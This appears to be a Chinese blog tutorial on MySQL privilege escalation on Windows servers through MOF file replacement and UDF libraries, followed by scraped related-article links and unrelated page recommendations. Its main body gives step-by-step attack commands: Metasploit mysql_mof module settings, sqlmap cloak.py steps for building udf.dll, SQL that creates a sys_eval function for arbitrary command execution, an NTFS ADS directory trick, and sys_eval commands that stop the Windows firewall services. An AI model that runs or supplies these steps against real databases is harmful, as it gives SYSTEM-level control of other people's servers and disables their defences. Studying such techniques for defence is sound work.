MOF提权

MOF文件是mysql数据库的扩展文件(在c:/windows/system32/wbem/mof/nullevt.mof)

叫做”托管对象格式”,其作用是每隔五秒就会去监控进程创建和死亡

MOF提权原理

MOF文件既然每五秒就会执行,而且是系统权限,我们通过mysql将文件写入一个MOF文件替换掉原有的MOF文件,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

利用条件

Windows<=2003

mysql在c:windows/system32/mof目录有写权限

已知数据库账号密码

这个提权方式条件非常严苛,数据库在system32写文件这个条件一般很难达到。

而且较新的系统无法使用MOF提权

技巧:

要是能够通过网页连接管理(phpmyadmin),则可以修改host为“%”并刷新权限后,则可以通过msf等工具远程连接数据库。

默认root等账号不允许远程连接,除非管理员或者数据库用户自己设置

Msf直接mof提权

Msf 下有Mof 提权模块 ,不过该漏洞成功跟操作系统权限和Mysql数据库版本有关

执行成功后会直接反弹 shell 到 meterpreter

use exploit/windows/mysql/mysql_mofsetrhost 192.168.157.1  #设置需要提权的远程主机IP地址setrport 3306           #设置mysql的远程端口setpasswordroot         #设置mysql数据库root密码setusername root        #设置mysql用户名options #查看设置run 0 

UDF提权

UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数

用户可以通过自己增加函数对mysql功能进行扩充,文件后缀为.dll

提权原理

利用root权限,创建带有调用cmd函数的’udf.dll’(动态链接库)

当我们把’udf.dll’导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。

这样我们自定义的函数才被当作本机函数执行。

在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而提权

利用条件

windows2003、windowsXP、windows7

已知mysql中root的账号密码

拥有mysql的insert和delete权限

mysql版本 < 5.2 , UDF导出到系统目录c:/windows/system32/

mysql版本 > 5.2 ,UDF导出到安装路径MySQL\Lib\Plugin\

可以直接查询插件安装目录:

show variables like %plugin%​

上传udf.php到网站中

udf.php中将udf.dll导出到插件目录,udf.dll可以用sqlmap生成

1.首先进入到 sqlmap\extra\cloak\cloak 目录下

2.打开命令终端,执行命令:python cloak.py -d -i \sqlmap目录\udf\mysql\windows\32\lib_mysqludf_sys.dll_

3.将生成的lib_mysqludf_sys.dll改名为udf.dll上传到目标数据库

4.创建相应函数:create function sys_eval returns string soname 'udf.dll';

5.执行命令:select sys_eval(‘whoami’);

6.删除函数:drop function sys_eval;

在将udf.dll文件导出到lib\plugin目录下时,如果plugin不存在,可以用NTFS ADS流来创建文件夹并导入dll

select @@basedir;   //查找到mysql的目录select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';   //利用NTFS ADS创建lib目录select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录​

连不上3389可以先停止windows防火墙和筛选

 select sys_eval(‘net stop policyagent’); select sys_eval(‘net stop sharedaccess’);​

函数说明:函数说明:

sys_eval,执行任意命令,并将输出返回。

sys_exec,执行任意命令,并将退出码返回。

sys_get,获取一个环境变量。

sys_set,创建或修改一个环境变量。

END

一个MySQL自动化提权工具:Github链接

Refers

mysql数据库提权总结

https://uuzdaisuki.com/2018/07/02/mysql%E6%95%B0%E6%8D%AE%E5%BA%93%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/

Mysql udf提权(Linux平台)

http://vinc.top/2017/04/19/mysql-udf%E6%8F%90%E6%9D%83linux%E5%B9%B3%E5%8F%B0/

那些提权测试中的奇淫技巧

https://paper.seebug.org/32/

MySQL-UDF和MOF提权的更多相关文章

  1. MySQL提权之mof提权

    mof提权原理 关于 mof 提权的原理其实很简单,就是利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次 ...

  2. Mof提权科普

    今天再拿一个站的时候遇到了很多问题,拿站的过程就不说了,其中要用到mof提权,不管能不能提下,我进行一个mof提权的科普 这里我综合各类mof提权进行了 综合 首先说一下,无shell情况下的mysq ...

  3. mof提权原理及实现

    关于 mof 提权的原理其实很简单,就是利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的 ...

  4. mof提权原理及其过程

    mof提权的原理: mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就 ...

  5. [原创]MOF提权下载者代码

    0x001 网上的mof提权 调用的是js执行添加用户 而且有个缺陷 还不能一步到位...目标3389也连不上...也不知道上面安装了什么软件...毛然添加用户也不好比如有个类似狗之类的拦截添加用户 ...

  6. mysql之mof提权详解

    原理解读: Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件: 方法 1: 运行 MOF 文件指定为命令行参数将 Mofcomp.exe  ...

  7. mof提权带回显带清楚命令版本.php

    <?php $path="c:/caonimei.txt"; session_start(); if(!empty($_POST['submit'])){ setcookie ...

  8. mysql 漏洞利用与提权

    判断MySQL服务运行的权限 1.查看系统账号,如果出现MySQL这类用户,意味着系统可能出现了降权. 2.看mysqld运行的priority值. 3.查看端口是否可外联. MySQL密码获取与破解 ...

  9. mysql以ROOT权限提权方法

    今天feng问了一个问题,mysql root权限运行,直接root服务器吧,SSH登录 正好上网查一下相关的资料: mysql .x里面引入了一个system函数,这个函数可以执行系统命令,当mys ...

随机推荐

  1. JS基础_函数的返回值

    <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title&g ...

  2. mpvue + 微信小程序 picker 实现自定义多级联动 超简洁

    微信小程序官网只提供了省市区的三级联动,实际开发中更多的是自定义的多级联动: 依照微信小程序官网提供的自定义多级联动,需要使用到picker 的多列选择器,即设置 mode = multiSelect ...

  3. ES5中一些重要的拓展

    1.对象的拓展 ①Object.create(obj, {age:{value:18, writable:true, configurable:true, enumerable:true}); 以指定 ...

  4. sql 将英文句子中的单词首字母转换为大写

    create function dbo.pTitleCase(@StrIn nvarchar(max))returns nvarchar(max)as begin; declare @StrOut n ...

  5. Linux磁盘的管理

    文件系统 磁盘必须要有文件系统---数据库 文件系统是用来数据存储,数据库是用来管理数据 windows fat32  ntfs   exfat linux  单文件系统 inode--索引空间(文件 ...

  6. windows 8/10 彻底删除脱机文件

    先关闭脱机文件选项 控制面板 > 同步中心 > 管理脱机文件 > 查看脱机文件 > 点击 计算机 > ... > 脱机同步的文件夹右键,取消同步 可能需要重启 如果 ...

  7. 02_Hive安装简介

    1.下载Hive安装包: 官网下载:http://hive.apache.org/downloads.html 百度云分享:https://pan.baidu.com/s/1M4LmdOXaq6T-P ...

  8. Sourcetree 出现错误提示git -c diff.mnemonicprefix=false -c core.quotepath=false fetch origin

    具体表现为:sourcetree无法和gitlab远程仓库进行交互,但使用本地cmd,可以使用git命令和远程仓库交互通过各种账户.秘钥等操作,都无法解决该问题具体信息如下: 解决方式:点击 工具–& ...

  9. Spring管理Hibernate事务

    在没有加入Spring来管理Hibernate事务之前,Hibernate对事务的管理的顺序是: 开始事务 提交事务 关闭事务 这样做的原因是Hibernate对事务默认是手动提交,如果不想手动提交, ...

  10. CSCD核心,北大中文核心

    从两篇文章看两个杂志 title 子空间聚类的重建模型及其快速算法 稀疏正则非凸优化问题之全局收敛分析 author 夏雨晴(浙江大学数学科学学院),张振跃 储敏(武汉大学数学与统计学院) journ ...